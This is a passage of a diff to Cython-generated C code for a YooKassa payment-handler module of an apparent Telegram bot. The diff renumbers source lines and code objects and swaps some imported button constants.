__pyx_L1_error) + __pyx_codeobj__16 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 12, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_custom_amount_input, 262, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__16)) __PYX_ERR(0, 262, __pyx_L1_error) - __pyx_tuple__34 = PyTuple_Pack(12, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_conn, __pyx_n_s_tg_id, __pyx_n_s_user_data, __pyx_n_s_state_type, __pyx_n_s_amount, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_payment_message, __pyx_n_s_confirm_keyboard, __pyx_n_s_e); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_tuple__34 = PyTuple_Pack(3, __pyx_n_s_target, __pyx_n_s_text, __pyx_n_s_reply_markup); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__34); __Pyx_GIVEREF(__pyx_tuple__34); - __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 12, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_custom_amount_input, 270, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 270, __pyx_L1_error) - - __pyx_tuple__35 = PyTuple_Pack(3, __pyx_n_s_target, __pyx_n_s_text, __pyx_n_s_reply_markup); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 366, __pyx_L1_error) + __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_send_message, 358, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 358, __pyx_L1_error) + __pyx_tuple__35 = PyTuple_Pack(1, Py_None); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__35); __Pyx_GIVEREF(__pyx_tuple__35); - __pyx_codeobj__25 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_send_message, 366, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__25)) __PYX_ERR(0, 366, __pyx_L1_error) - __pyx_tuple__36 = PyTuple_Pack(1, Py_None); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 366, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__36); - __Pyx_GIVEREF(__pyx_tuple__36); __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; @@ -11769,15 +11766,15 @@ static int __Pyx_modinit_type_init_code(void) { __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); /*--- Type init code ---*/ #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)) __PYX_ERR(0, 64, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)) __PYX_ERR(0, 56, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 56, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 64, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 56, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_print = 0; @@ -11788,15 +11785,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 118, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 110, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 110, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 118, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 110, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; @@ -11807,15 +11804,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)) __PYX_ERR(0, 198, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 198, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)) __PYX_ERR(0, 190, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 190, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 198, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 190, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_print = 0; @@ -11826,15 +11823,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment)) __PYX_ERR(0, 240, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment) < 0) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment)) __PYX_ERR(0, 232, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment) < 0) __PYX_ERR(0, 232, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment) < 0) __PYX_ERR(0, 240, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment) < 0) __PYX_ERR(0, 232, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment->tp_print = 0; @@ -11845,15 +11842,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount)) __PYX_ERR(0, 252, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount)) __PYX_ERR(0, 244, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 244, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 252, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount) < 0) __PYX_ERR(0, 244, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount->tp_print = 0; @@ -11864,15 +11861,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input)) __PYX_ERR(0, 270, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input)) __PYX_ERR(0, 262, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 262, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 270, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input) < 0) __PYX_ERR(0, 262, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input->tp_print = 0; @@ -11883,15 +11880,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message)) __PYX_ERR(0, 366, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message) < 0) __PYX_ERR(0, 366, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message)) __PYX_ERR(0, 358, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message) < 0) __PYX_ERR(0, 358, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message) < 0) __PYX_ERR(0, 366, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message) < 0) __PYX_ERR(0, 358, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message->tp_print = 0; @@ -12486,205 +12483,204 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_2 = PyList_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_MAIN_MENU); + __Pyx_GIVEREF(__pyx_n_s_MAIN_MENU); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_MAIN_MENU)) __PYX_ERR(0, 31, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_BACK); __Pyx_GIVEREF(__pyx_n_s_BACK); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_BACK)) __PYX_ERR(0, 32, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_CUSTOM_SUM); - __Pyx_GIVEREF(__pyx_n_s_CUSTOM_SUM); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_CUSTOM_SUM)) __PYX_ERR(0, 32, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_CUSTOM_SUM_ANSWER); - __Pyx_GIVEREF(__pyx_n_s_CUSTOM_SUM_ANSWER); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_CUSTOM_SUM_ANSWER)) __PYX_ERR(0, 32, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); - __Pyx_GIVEREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE)) __PYX_ERR(0, 32, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_BACK)) __PYX_ERR(0, 31, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_CUSTOM_AMOUNT); + __Pyx_GIVEREF(__pyx_n_s_CUSTOM_AMOUNT); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_CUSTOM_AMOUNT)) __PYX_ERR(0, 31, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_PAY); __Pyx_GIVEREF(__pyx_n_s_PAY); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_PAY)) __PYX_ERR(0, 32, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_PAY)) __PYX_ERR(0, 31, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_PAY_2); __Pyx_GIVEREF(__pyx_n_s_PAY_2); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 5, __pyx_n_s_PAY_2)) __PYX_ERR(0, 32, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_PROFILE); - __Pyx_GIVEREF(__pyx_n_s_PROFILE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 6, __pyx_n_s_PROFILE)) __PYX_ERR(0, 32, __pyx_L1_error); - - __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons_yookassa, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_PAY_2)) __PYX_ERR(0, 31, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_MAIN_MENU); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_MENU, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CUSTOM_SUM); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CUSTOM_AMOUNT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_CUSTOM_SUM, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CUSTOM_SUM_ANSWER); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_CUSTOM_SUM_ANSWER, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CUSTOM_AMOUNT, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY, __pyx_t_2) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAY_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY_2, __pyx_t_2) < 0) __PYX_ERR(0, 37, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROFILE, __pyx_t_2) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY_2, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_YOOKASSA_HASH); __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_HASH); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_YOOKASSA_HASH)) __PYX_ERR(0, 40, __pyx_L1_error); - __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_YOOKASSA_HASH)) __PYX_ERR(0, 32, __pyx_L1_error); + 